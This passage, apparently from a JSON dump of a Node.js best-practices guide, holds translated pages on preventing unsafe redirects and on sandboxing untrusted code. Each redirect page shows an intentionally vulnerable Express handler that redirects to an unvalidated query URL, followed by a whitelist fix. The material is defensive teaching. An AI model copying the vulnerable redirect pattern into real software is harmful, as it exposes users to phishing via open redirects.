    "content": "# Saihestu birbideratze ez seguruak\n\n### Azalpena\n\nNode.js eta/edo Expressen birbideratzeak inplementatzen direnean, garrantzitsua da zerbitzariak sarrera balioztatzea. Erasotzailea konturatzen bada ez dela ari erabiltzaileak emandako kanpoko sarrera balioztatzen, ahultasun hori balia dezake foroetan, sare sozialetan eta beste toki publiko batzuetan berariaz horretarako sortutako estekak argitaratzeko, erabiltzaileek esteka horietan klik egin dezaten.\n\nAdibidez: erabiltzaileen sarrera erabiliz egindako express birbideratzea ez da segurua\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\napp.get(\"/login\", (req, res, next) => {\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n});\n```\n\nBerbideratze ez seguruak ekiditeko proposatutako konponbideak erabiltzailearen sarreran oinarritzean datza. Erabiltzailaren sarrera erabili behar bada, berbideratze seguruen zerrena txuriak erabil daitezke ahuleziak azalean jartzeko.\n\nAdibidea: Berbideratze seguruaren zerrenda txuria\n\n```javascript\nconst whitelist = {\n  \"https://google.com\": 1,\n};\n\nfunction getValidRedirect(url) {\n  // egiaztatu ia url-a '/' bakarrarekin hasten den\n  if (url.match(/^\\/(?!\\/)/)) {\n    // Atzean gehitu gure domeinua ziur egoteko\n    return \"https://example.com\" + url;\n  }\n  // Bestela, egiaztatu zerrenda txurian\n  return whitelist[url] ? url : \"/\";\n}\n\napp.get(\"/login\", (req, res, next) => {\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n});\n```\n\n### Beste blogari batzuek diotena\n\n[NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db)-en bloga:\n\n> Zorionez ahultasun hori arintzeko metodoak nahiko zuzenak dira; ez erabili erabiltzaileen sarrera balioztaturik birbideratzearen oinarri gisa.\n\n[Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/)-ren bloga:\n\n> Hala ere, zerbitzariaren birbideratze logikak balioztatzen ez baditu URL parametroan sartzen diren datuak, baliteke erabiltzaileek zurea bezalako itxura duen gune batean amaitzea (examp1e.com), azkenean hacker kriminalei bere helburuak betetzeko aukera ematen diena!\n"
  },
  {
    "path": "sections/security/saferedirects.brazilian-portuguese.md",
    "content": "# Impeça redirecionamentos não seguros\n\n### Explicação em um Parágrafo\n\nQuando os redirecionamentos são implementados no Node.js e/ou no Express, é importante executar a validação de entrada no lado do servidor.\nSe um atacante descobrir que você não está validando informações externas fornecidas pelo usuário, ele poderá explorar essa vulnerabilidade postando links especialmente criados em fóruns, mídias sociais e outros locais públicos para que os usuários cliquem nele.\n\nExemplo: redirecionamento inseguro no express usando a entrada do usuário\n```javascript\nconst express = require('express');\nconst app = express();\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n\n}); \n```\n\nA correção sugerida para evitar redirecionamentos inseguros é evitar confiar na entrada do usuário. Se a entrada do usuário precisar ser usada, as listas de permissões de redirecionamento seguras podem ser usadas para evitar a exposição da vulnerabilidade.\n\nExemplo: Lista de permissões de redirecionamento seguro\n```javascript\nconst whitelist = { \n  'https://google.com': 1 \n};\n\nfunction getValidRedirect(url) { \n    // verifique se o URL começa com uma única barra \n  if (url.match(/^\\/(?!\\/)/)) { \n    // Prefira nosso domínio para ter certeza \n    return 'https://example.com' + url; \n  } \n    // Caso contrário, verifique com uma lista de permissões\n  return whitelist[url] ? url : '/'; \n}\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n\n}); \n```\n\n\n### O que Outros Blogueiros Dizem\n\nDo blog [NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db):\n> Felizmente, os métodos de atenuação para essa vulnerabilidade são bastante diretos. Não use a entrada do usuário não validada como base para o redirecionamento.\n\nDo blog [Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/)\n> No entanto, se a lógica de redirecionamento do lado do servidor não validar os dados que entram no parâmetro url, seus usuários podem acabar em um site que se parece exatamente com o seu (examp1e.com), mas atende às necessidades de hackers criminosos!\n\n\n"
  },
  {
    "path": "sections/security/saferedirects.chinese.md",
    "content": "# 避免不安全的重定向\n\n### 一段解释\n\n当我们在 Node.js 或者 Express 中实现重定向时，在服务器端进行输入校验非常重要。当攻击者发现你没有校验用户提供的外部输入时，他们会在论坛、社交媒体以和其他公共场合发布他们精心制作的链接来诱使用户点击，以此达到漏洞利用的目的。\n\n案例： express 使用用户输入的不安全的重定向\n\n```javascript\nconst express = require('express');\nconst app = express();\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n\n}); \n```\n\n建议的避免不安全重定向的方案是，避免依赖用户输入的内容来进行重定向。如果一定要使用用户输入的内容，可以通过使用白名单重定向的方式来避免暴露漏洞。\n\n案例：使用白名单实现安全的重定向\n\n```javascript\nconst whitelist = { \n  'https://google.com': 1 \n};\n\nfunction getValidRedirect(url) { \n    // 检查url是否以/开头\n  if (url.match(/^\\/(?!\\/)/)) { \n    // 前置我们的域名来确保（安全）\n    return 'https://example.com' + url; \n  } \n\n    // 否则对照白名单列表\n  return whitelist[url] ? url : '/'; \n}\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n\n}); \n```\n\n### 其他博主的看法\n\n来自博客[NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db)：\n\n> 幸运的是，缓解此漏洞的方法非常简单-不要使用未经验证的用户输入作为重定向的基础。\n\n来自博客[Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/)：\n\n> 但是，如果服务器端的重定向逻辑没有对url参数的数据进行校验的话，则你的用户可能最终访问的地址跟你的地址看起来几乎完全一致（examp1e.com），但这最终满足了犯罪黑客们的需求。\n"
  },
  {
    "path": "sections/security/saferedirects.french.md",
    "content": "# Prevent unsafe redirects\n\n### One Paragraph Explainer\n\nWhen redirects are implemented in Node.js and/or Express, it's important to perform input validation on the server-side.\nIf an attacker discovers that you are not validating external, user-supplied input, they may exploit this vulnerability by posting specially-crafted links on forums, social media, and other public places to get users to click it.\n\nExample: Unsafe express redirect using user input\n```javascript\nconst express = require('express');\nconst app = express();\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n\n}); \n```\n\nThe suggested fix to avoid unsafe redirects is to avoid relying on user input. If user input must be used, safe redirect whitelists can be used to avoid exposing the vulnerability.\n\nExample: Safe redirect whitelist\n```javascript\nconst whitelist = { \n  'https://google.com': 1 \n};\n\nfunction getValidRedirect(url) { \n    // check if the url starts with a single slash \n  if (url.match(/^\\/(?!\\/)/)) { \n    // Prepend our domain to make sure \n    return 'https://example.com' + url; \n  } \n    // Otherwise check against a whitelist\n  return whitelist[url] ? url : '/'; \n}\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n\n}); \n```\n\n\n### What other bloggers say\n\nFrom the blog by [NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db):\n> Fortunately the mitigation methods for this vulnerability are quite straightforward — don’t use unvalidated user input as the basis for redirect. \n\nFrom the blog by [Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/)\n> However, if the server-side redirect logic does not validate data entering the url parameter, your users may end up on a site that looks exactly like yours (examp1e.com), but ultimately serves the needs of criminal hackers!\n\n\n"
  },
  {
    "path": "sections/security/saferedirects.japanese.md",
    "content": "# 安全でないリダイレクトを防ぐ\n\n### 一段落説明\n\nNode.js、そして Express でリダイレクトを実装する際は、サーバーサイドで入力検証を行うことが重要です。\nもし攻撃者が、外部のユーザーから与えられた入力を検証していないことを発見した場合、特別に作成されたリンクをフォーラムやソーシャルメディア、その他のパブリックな場所に投稿してユーザーにクリックさせることで、この脆弱性を悪用する恐れがあります。\n\n例: ユーザー入力を利用した、安全でない express リダイレクト\n```javascript\nconst express = require('express');\nconst app = express();\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n\n}); \n```\n\n安全でないリダイレクトを避けるために推奨される改善方法は、ユーザー入力を信頼しないということです。ユーザー入力を利用する必要がある場合には、脆弱性を晒すことを避けるために、安全なリダイレクトホワイトリストを利用することができます。\n\n例: 安全なリダイレクトホワイトリスト\n```javascript\nconst whitelist = { \n  'https://google.com': 1 \n};\n\nfunction getValidRedirect(url) { \n    // url がシングルスラッシュで始めっているかチェックする\n  if (url.match(/^\\/(?!\\/)/)) { \n    // 正しくドメインを付加する\n    return 'https://example.com' + url; \n  } \n    // または、ホワイトリストでチェックする\n  return whitelist[url] ? url : '/'; \n}\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n\n}); \n```\n\n\n### 他のブロガーが言っていること\n\n[NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db) のブログより:\n> 幸いなことに、この脆弱性に対する緩和策は非常にシンプルです - 検証されていないユーザー入力を、リダイレクトのための基準として扱わないことです。\n\n[Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/) のブログより:\n> しかし、もしサーバーサイドのリダイレクトロジックが url パラメータを入力するデータを検証しない場合、ユーザーはまるであなたのサイトのように見える（examp1e.com）にたどり着き、犯罪者ハッカーの要求を満たす結果となりかねません。\n\n\n"
  },
  {
    "path": "sections/security/saferedirects.md",
    "content": "# Prevent unsafe redirects\n\n### One Paragraph Explainer\n\nWhen redirects are implemented in Node.js and/or Express, it's important to perform input validation on the server-side.\nIf an attacker discovers that you are not validating external, user-supplied input, they may exploit this vulnerability by posting specially-crafted links on forums, social media, and other public places to get users to click it.\n\nExample: Unsafe express redirect using user input\n```javascript\nconst express = require('express');\nconst app = express();\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n\n}); \n```\n\nThe suggested fix to avoid unsafe redirects is to avoid relying on user input. If user input must be used, safe redirect whitelists can be used to avoid exposing the vulnerability.\n\nExample: Safe redirect whitelist\n```javascript\nconst whitelist = { \n  'https://google.com': 1 \n};\n\nfunction getValidRedirect(url) { \n    // check if the url starts with a single slash \n  if (url.match(/^\\/(?!\\/)/)) { \n    // Prepend our domain to make sure \n    return 'https://example.com' + url; \n  } \n    // Otherwise check against a whitelist\n  return whitelist[url] ? url : '/'; \n}\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n\n}); \n```\n\n\n### What other bloggers say\n\nFrom the blog by [NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db):\n> Fortunately the mitigation methods for this vulnerability are quite straightforward — don’t use unvalidated user input as the basis for redirect. \n\nFrom the blog by [Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/)\n> However, if the server-side redirect logic does not validate data entering the url parameter, your users may end up on a site that looks exactly like yours (examp1e.com), but ultimately serves the needs of criminal hackers!\n\n\n"
  },
  {
    "path": "sections/security/saferedirects.polish.md",
    "content": "# Zapobiegaj niebezpiecznym przekierowaniom\n\n### Wyjaśnienie jednym akapitem\n\nGdy przekierowania są implementowane w Node.js i/lub Express, ważne jest, aby przeprowadzić weryfikację danych wejściowych po stronie serwera.\nJeśli osoba atakująca odkryje, że nie weryfikujesz danych zewnętrznych dostarczonych przez użytkownika, może wykorzystać tę lukę, publikując specjalnie spreparowane łącza na forach, w mediach społecznościowych i innych miejscach publicznych, aby użytkownicy mogli ją kliknąć.\n\nPrzykład: Unsafe express redirect using user input\n```javascript\nconst express = require('express');\nconst app = express();\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n\n}); \n```\n\nSugerowaną poprawką w celu uniknięcia niebezpiecznych przekierowań jest unikanie polegania na danych wejściowych użytkownika. Jeśli konieczne jest użycie danych wprowadzonych przez użytkownika, można użyć bezpiecznych białych list przekierowań, aby uniknąć ujawnienia luki.\n\nPrzykład: Safe redirect whitelist\n```javascript\nconst whitelist = { \n  'https://google.com': 1 \n};\n\nfunction getValidRedirect(url) { \n    // check if the url starts with a single slash \n  if (url.match(/^\\/(?!\\/)/)) { \n    // Prepend our domain to make sure \n    return 'https://example.com' + url; \n  } \n    // Otherwise check against a whitelist\n  return whitelist[url] ? url : '/'; \n}\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n\n}); \n```\n\n\n### Co mówią inni blogerzy\n\nZ bloga od [NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db):\n> Fortunately the mitigation methods for this vulnerability are quite straightforward — don’t use unvalidated user input as the basis for redirect. \n\nZ bloga od [Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/)\n> However, if the server-side redirect logic does not validate data entering the url parameter, your users may end up on a site that looks exactly like yours (examp1e.com), but ultimately serves the needs of criminal hackers!\n\n\n"
  },
  {
    "path": "sections/security/saferedirects.russian.md",
    "content": "# Предотвращайте небезопасные перенаправления\n\n### Объяснение в один абзац\n\nКогда перенаправления реализованы в Node.js и/или Express, важно выполнить проверку входных данных на стороне сервера.\nЕсли злоумышленник обнаружит, что вы не проверяете внешние вводимые пользователем данные, он может воспользоваться этой уязвимостью, разместив специально созданные ссылки на форумах, в социальных сетях и других общедоступных местах, чтобы пользователи могли щелкнуть по ним.\n\nПример: небезопасное экспресс-перенаправление с использованием пользовательского ввода\n```javascript\nconst express = require('express');\nconst app = express();\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(req.query.url);\n  }\n\n}); \n```\n\nПредлагаемое исправление: чтобы избежать небезопасных перенаправлений, состоит в том, чтобы не полагаться на пользовательский ввод. Если необходимо использовать пользовательский ввод, можно использовать белые списки безопасного перенаправления, чтобы избежать уязвимости.\n\nПример: белый список безопасного перенаправления\n```javascript\nconst whitelist = { \n  'https://google.com': 1 \n};\n\nfunction getValidRedirect(url) { \n    // check if the url starts with a single slash \n  if (url.match(/^\\/(?!\\/)/)) { \n    // Prepend our domain to make sure \n    return 'https://example.com' + url; \n  } \n    // Otherwise check against a whitelist\n  return whitelist[url] ? url : '/'; \n}\n\napp.get('/login', (req, res, next) => {\n\n  if (req.session.isAuthenticated()) {\n    res.redirect(getValidRedirect(req.query.url));\n  }\n\n}); \n```\n\n\n### Что говорят другие блогеры\n\nИз блога [NodeSwat](https://blog.nodeswat.com/unvalidated-redirects-b0a2885720db):\n> К счастью, методы смягчения этой уязвимости довольно просты - не используйте неподтвержденный пользовательский ввод в качестве основы для перенаправления.\n\nИз блога [Hailstone](https://blog.hailstone.io/how-to-prevent-unsafe-redirects-in-node-js/)\n> Однако, если логика перенаправления на стороне сервера не проверяет данные, введенные в параметре url, ваши пользователи могут оказаться на сайте, который выглядит точно так же, как ваш (examp1e.com), но в конечном итоге удовлетворяет потребности преступных хакеров!\n\n\n"
  },
  {
    "path": "sections/security/sandbox.basque.md",
    "content": "# Exekutatu kode ez segurua sandbox batean\r\n\r\n### Azalpena\r\n\r\nArau orokor gisa, zure JavaScript fitxategiak bakarrik egikaritu beharko zenituzke. Teoriak alde batera utzita, mundu errealeko eszenatokiek egikaritzen dituzten JavaScript fitxategietako asko esleitutako egikaritze denbora dinamikoki gainditua duten fitxategiak dira. Adibidez, pentsatu esparru dinamikoak web paketeak direla, plataforma pertsonalizatuak onartzen dituztenak eta plataforma horiek dinamikoki egikaritzen dituztenak konpilazio aldian. Plugin maltzurren bat dagoenean kalteak minimizatu nahi ditugu eta, agian, fluxua arrakastaz amaitzen utzi ere bai. Horrek eskatzen du guztiz isolatuta dagoen sandbox ingurune batean egikaritzea pluginak, hau da, baliabide, hutsegite eta pluginekin partekatzen dugun informazioarekiko isolatuta egon behar du ingurune horrek. Hiru dira isolamendua lortzen lagunduko diguten bideak:\r\n\r\n- bigarren mailako prozesu dedikatua. Horrek informazioa bizkor isolatzeko aukera eskaintzen du, baina eskatzen du prozesua ondo ezagutu eta menperatzea, exekuzio denbora mugatzea eta akatsetatik berreskuratzea\r\n- hodeiko zerbitzaririk gabeko esparruak/plataformak sandbox baldintza guztiak betetzen ditu, baina FaaS funtzioa dinamikoki inplementatzea eta deitzea ez da parkean ibiltzea paseoan\r\n- npm liburutegi batzuek -hala nola [sandbox](https://www.npmjs.com/package/sandbox) eta [vm2](https://www.npmjs.com/package/vm2)- kode isolatua kode lerro bakarrean egikaritzea ahalbidetzen dute. Azken aukera horrek soiltasunean irabazi arren babes mugatua eskaintzen du\r\n\r\n### Kode adibidea: Sandbox liburutegia erabiltzea kodea modu isolatuan exekutatzeko\r\n\r\n```javascript\r\nconst Sandbox = require(\"sandbox\");\r\nconst s = new Sandbox();\r\n\r\ns.run(\"lol)hai\", (emaitza) => {\r\n  console.log(emaitza);\r\n  //emaitza='Syntax error'\r\n});\r\n\r\n// 4 Adibidea - Kode mugatua\r\ns.run(\"process.platform\", (emaitza) => {\r\n  console.log(emaitza);\r\n  //emaitza=Null\r\n});\r\n\r\n// 5 Adibidea - Begizta infinitua\r\ns.run(\"while (true) {}\", (emaitza) => {\r\n  console.log(emaitza);\r\n  //emaitza='Timeout'\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/security/sandbox.brazilian-portuguese.md",
    "content": "# Rode códigos não seguros em uma sandbox\r\n\r\n### Explicação em um Parágrafo\r\n\r\nComo regra geral, deve-se executar apenas seus próprios arquivos JavaScript. Teorias à parte, os cenários do mundo real exigem a execução de arquivos JavaScript que estão sendo transmitidos dinamicamente em tempo de execução. Por exemplo, considere uma estrutura dinâmica como o webpack que aceita carregadores personalizados e os execute dinamicamente durante o tempo de compilação. Na existência de algum plugin malicioso, nós queremos minimizar os danos e talvez até mesmo deixar o fluxo terminar com sucesso - isso requer a execução dos plugins em um ambiente sandbox que é totalmente isolado em termos de recursos, falhas e as informações que compartilhamos com ele. Três opções principais podem ajudar a alcançar esse isolamento:\r\n\r\n- um processo filho dedicado - isso fornece um rápido isolamento de informações, mas exige domar o processo filho, limitar seu tempo de execução e recuperar-se dos erros\r\n- um framework cloud serverless preenche todos os requisitos do sandbox, mas a implementação e invocação de uma função FaaS dinamicamente não é um passeio no parque\r\n- algumas bibliotecas no npm, como [sandbox](https://www.npmjs.com/package/sandbox) e [vm2](https://www.npmjs.com/package/vm2) permitem a execução de código isolado em uma única linha de código. Embora esta última opção ganhe na simplicidade, ela fornece uma proteção limitada\r\n\r\n### Exemplo de código - Usando a biblioteca Sandbox para executar o código isoladamente\r\n\r\n```javascript\r\nconst Sandbox = require(\"sandbox\")\r\n  , s = new Sandbox()\r\n\r\ns.run( \"lol)hai\", function( output ) {\r\n  console.log(output);\r\n  //output='Syntax error'\r\n});\r\n\r\n// Exemplo 4 - Código restrito\r\ns.run( \"process.platform\", function( output ) {\r\n  console.log(output);\r\n  //output=Null\r\n})\r\n\r\n// Example 5 - Loop infinito\r\ns.run( \"while (true) {}\", function( output ) {\r\n  console.log(output);\r\n  //output='Timeout'\r\n})\r\n```\r\n"
  },
  {
    "path": "sections/security/sandbox.chinese.md",
    "content": "# 在沙箱中运行不安全的代码\n\n### 一段解释\n\n根据经验, 应该只运行自己的javascript文件。撇开理论不谈, 现实世界中的场景需要执行在运行时动态传递的javascript文件。例如, 考虑一个动态框架(如 webpack), 该框架接受自定义加载器(custom loaders), 并在构建时动态执行这些加载器。在存在一些恶意插件的情况下, 我们希望最大限度地减少损害, 甚至可能让工作流成功终止 - 这需要在一个沙箱环境中运行插件, 该环境在资源、宕机和我们共享的信息方面是完全隔离的。三个主要选项可以帮助实现这种隔离:\n\n- 一个专门的子进程 - 这提供了一个快速的信息隔离, 但要求制约子进程, 限制其执行时间, 并从错误中恢复\n- 一个基于云的无服务框架满足所有沙盒要求，但动态部署和调用Faas方法不是本部分的内容\n- 一些npm库，比如[sandbox](https://www.npmjs.com/package/sandbox)和[vm2](https://www.npmjs.com/package/vm2)允许通过一行代码执行隔离代码。尽管后一种选择在简单中获胜, 但它提供了有限的保护。\n\n### 代码示例 - 使用Sandbox库运行隔离代码\n\n```javascript\nconst Sandbox = require(\"sandbox\");\nconst s = new Sandbox();\n\ns.run( \"lol)hai\", function( output ) {\n  console.log(output);\n  //output='Syntax error'\n});\n\n// Example 4 - Restricted code\ns.run( \"process.platform\", function( output ) {\n  console.log(output);\n  //output=Null\n})\n\n// Example 5 - Infinite loop\ns.run( \"while (true) {}\", function( output ) {\n  console.log(output);\n  //output='Timeout'\n})\n```\n"
  },
  {
    "path": "sections/security/sandbox.french.md",
    "content": "# Run unsafe code in a sandbox\n\n### One Paragraph Explainer\n\nAs a rule of thumb, one should run his own JavaScript files only. Theories aside, real-world scenarios demand to execute JavaScript files that are being passed dynamically at run-time. For example, consider a dynamic framework like webpack that accepts custom loaders and execute those dynamically during build time. In the existence of some malicious plugin we wish to minimize the damage and maybe even let the flow terminate successfully - this requires to run the plugins in a sandbox environment that is fully isolated in terms of resources, crashes and the information we share with it. Three main options can help in achieving this isolation: \n\n- a dedicated child process - this provides a quick information isolation but demand to tame the child process, limit its execution time and recover from errors\n- a cloud serverless framework ticks all the sandbox requirements but deployment and invoking a FaaS function dynamically is not a walk in the park\n- some npm libraries, like [sandbox](https://www.npmjs.com/package/sandbox) and [vm2](https://www.npmjs.com/package/vm2) allow execution of isolated code in 1 single line of code. Though this latter option wins in simplicity it provides a limited protection\n\n### Code example - Using Sandbox library to run code in isolation\n\n```javascript\nconst Sandbox = require('sandbox');\nconst s = new Sandbox();\n\ns.run('lol)hai', (output) => {\n  console.log(output);\n  //output='Syntax error'\n});\n\n// Example 4 - Restricted code\ns.run('process.platform', (output) => {\n  console.log(output);\n  //output=Null\n});\n\n// Example 5 - Infinite loop\ns.run('while (true) {}', (output) => {\n  console.log(output);\n  //output='Timeout'\n});\n```\n"
  },
  {
    "path": "sections/security/sandbox.japanese.md",
    "content": "# サンドボックス内で安全でないコードを実行する\r\n\r\n### 一段落説明\r\n\r\n経験則として、すべての人は自分自身が管理する JavaScript ファイルのみを実行するべきです。セオリーはさておき、現実世界では実行時に動的に渡される JavaScript ファイルを実行する必要があります。例えば、webpack のような、ビルド時にカスタムローダーを動的に実行する動的なフレームワークを考えてみましょう。悪意のあるプラグインが存在する場合、被害を最小限に抑え、フローを正常に終了させたいと願うでしょう - これを実現するには、そういったプラグインを、リソース、クラッシュ、共有する情報の観点において、完全に隔離されたサンドボックス環境で実行する必要があります。この隔離を実現するには、以下の3つの主要なオプションがあります。\r\n\r\n- 専用の子プロセス - これは迅速な情報の隔離を提供しますが、子プロセスを管理し、実行時間を制限し、そしてエラーから復帰させる必要があります\r\n- クラウドのサーバーレス環境は、サンドボックスの要件をすべて満たしていますが、デプロイと FaaS 機能の動的な呼び出しは簡単ではありません\r\n- [sandbox](https://www.npmjs.com/package/sandbox) や [vm2](https://www.npmjs.com/package/vm2) といったいくつかの npm ライブラリは、たった1行で隔離されたコード実行を可能にします。このオプションはシンプルさにおいては優位ですが、保護範囲が限られています。\r\n\r\n### コード例 - 独立した状態でコードを実行するために sandbox ライブラリを使用する\r\n\r\n```javascript\r\nconst Sandbox = require('sandbox');\r\nconst s = new Sandbox();\r\n\r\ns.run('lol)hai', (output) => {\r\n  console.log(output);\r\n  //output='Syntax error'\r\n});\r\n\r\n// 例 4 - 制限されたコード\r\ns.run('process.platform', (output) => {\r\n  console.log(output);\r\n  //output=Null\r\n});\r\n\r\n// 例 5 - 無限ループ\r\ns.run('while (true) {}', (output) => {\r\n  console.log(output);\r\n  //output='Timeout'\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/security/sandbox.md",
    "content": "# Run unsafe code in a sandbox\r\n\r\n### One Paragraph Explainer\r\n\r\nAs a rule of thumb, one should run his own JavaScript files only. Theories aside, real-world scenarios demand to execute JavaScript files that are being passed dynamically at run-time. For example, consider a dynamic framework like webpack that accepts custom loaders and execute those dynamically during build time. In the existence of some malicious plugin we wish to minimize the damage and maybe even let the flow terminate successfully - this requires to run the plugins in a sandbox environment that is fully isolated in terms of resources, crashes and the information we share with it. Three main options can help in achieving this isolation: \r\n\r\n- a dedicated child process - this provides a quick information isolation but demand to tame the child process, limit its execution time and recover from errors\r\n- a cloud serverless framework ticks all the sandbox requirements but deployment and invoking a FaaS function dynamically is not a walk in the park\r\n- some npm libraries, like [sandbox](https://www.npmjs.com/package/sandbox) and [vm2](https://www.npmjs.com/package/vm2) allow execution of isolated code in 1 single line of code. Though this latter option wins in simplicity it provides a limited protection\r\n\r\n### Code example - Using Sandbox library to run code in isolation\r\n\r\n```javascript\r\nconst Sandbox = require('sandbox');\r\nconst s = new Sandbox();\r\n\r\ns.run('lol)hai', (output) => {\r\n  console.log(output);\r\n  //output='Syntax error'\r\n});\r\n\r\n// Example 4 - Restricted code\r\ns.run('process.platform', (output) => {\r\n  console.log(output);\r\n  //output=Null\r\n});\r\n\r\n// Example 5 - Infinite loop\r\ns.run('while (true) {}', (output) => {\r\n  console.log(output);\r\n  //output='Timeout'\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/security/sandbox.polish.md",
    "content": "# Uruchom niebezpieczny kod w piaskownicy\n\n### Wyjaśnienie jednym akapitem\n\nZ zasady należy uruchamiać tylko własne pliki JavaScript. Pomijając teorie, scenariusze w świecie rzeczywistym wymagają wykonywania plików JavaScript przekazywanych dynamicznie w czasie wykonywania. Rozważmy na przykład strukturę dynamiczną, taką jak webpack, która akceptuje niestandardowe programy ładujące i wykonuje je dynamicznie podczas kompilacji. W obecności szkodliwych wtyczek chcemy zminimalizować szkody, a może nawet pozwolić na pomyślne zakończenie przepływu - wymaga to uruchomienia wtyczek w środowisku piaskownicy, które jest w pełni izolowane pod względem zasobów, awarii i informacji, którymi się z nim dzielimy. Trzy główne opcje mogą pomóc w osiągnięciu tej izolacji:\n\n- dedykowany proces potomny - zapewnia to szybką izolację informacji, ale wymaga oswojenia procesu potomnego, ograniczenia czasu jego wykonywania i odzyskania po błędach\n- platforma bezserwerowa w chmurze spełnia wszystkie wymagania piaskownicy, ale dynamiczne wdrażanie i wywoływanie funkcji FaaS nie jest spacerem w parku\n- niektóre biblioteki npm [sandbox](https://www.npmjs.com/package/sandbox) oraz [vm2](https://www.npmjs.com/package/vm2) pozwalają na wykonanie izolowanego kodu w 1 pojedynczym wierszu kodu. Chociaż ta ostatnia opcja wygrywa w prostocie, zapewnia ograniczoną ochronę\n\n### Przykład kodu - używanie biblioteki Sandbox do uruchamiania kodu w izolacji\n\n```javascript\nconst Sandbox = require('sandbox');\nconst s = new Sandbox();\n\ns.run('lol)hai', (output) => {\n  console.log(output);\n  //output='Syntax error'\n});\n\n// Example 4 - Restricted code\ns.run('process.platform', (output) => {\n  console.log(output);\n  //output=Null\n});\n\n// Example 5 - Infinite loop\ns.run('while (true) {}', (output) => {\n  console.log(output);\n  //output='Timeout'\n});\n```\n"
  },
  {
    "path": "sections/security/sandbox.russian.md",
    "content": "# Запускайте небезопасный код в песочнице\r\n\r\n### Объяснение в один абзац\r\n\r\nКак правило, нужно запускать только собственные файлы JavaScript. Помимо теорий, в реальных сценариях требуется выполнять файлы JavaScript, которые передаются динамически во время выполнения. Например, рассмотрим динамический фреймворк, такой как веб-пакет, который принимает пользовательские загрузчики и выполняет их динамически во время сборки. При существовании какого-либо вредоносного плагина мы хотим минимизировать ущерб и, возможно, даже позволить потоку успешно завершиться - для этого необходимо запустить плагины в среде изолированной программной среды, которая полностью изолирована с точки зрения ресурсов, сбоев и информации, которой мы делимся с ней. Три основных варианта могут помочь в достижении этой изоляции:\r\n\r\n- выделенный дочерний процесс - это обеспечивает быструю изоляцию информации, но требует приручить дочерний процесс, ограничить время его выполнения и устранить ошибки\r\n- облачная безсерверная инфраструктура отвечает всем требованиям песочницы, но развертывание и динамический вызов функции FaaS - это не прогулка в парке\r\n- некоторые библиотеки npm, такие как [sandbox](https://www.npmjs.com/package/sandbox) и [vm2](https://www.npmjs.com/package/vm2) позволяют выполнять изолированный код в 1 одна строка кода. Хотя этот последний вариант выигрывает в простоте, он обеспечивает ограниченную защиту\r\n\r\n### Пример кода - Использование библиотеки Sandbox для изолированного выполнения кода\r\n\r\n```javascript\r\nconst Sandbox = require('sandbox');\r\nconst s = new Sandbox();\r\n\r\ns.run('lol)hai', (output) => {\r\n  console.log(output);\r\n  //output='Syntax error'\r\n});\r\n\r\n// Example 4 - Restricted code\r\ns.run('process.platform', (output) => {\r\n  console.log(output);\r\n  //output=Null\r\n});\r\n\r\n// Example 5 - Infinite loop\r\ns.run('while (true) {}', (output) => {\r\n  console.log(output);\r\n  //output='Timeout'\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/security/secretmanagement.basque.md",
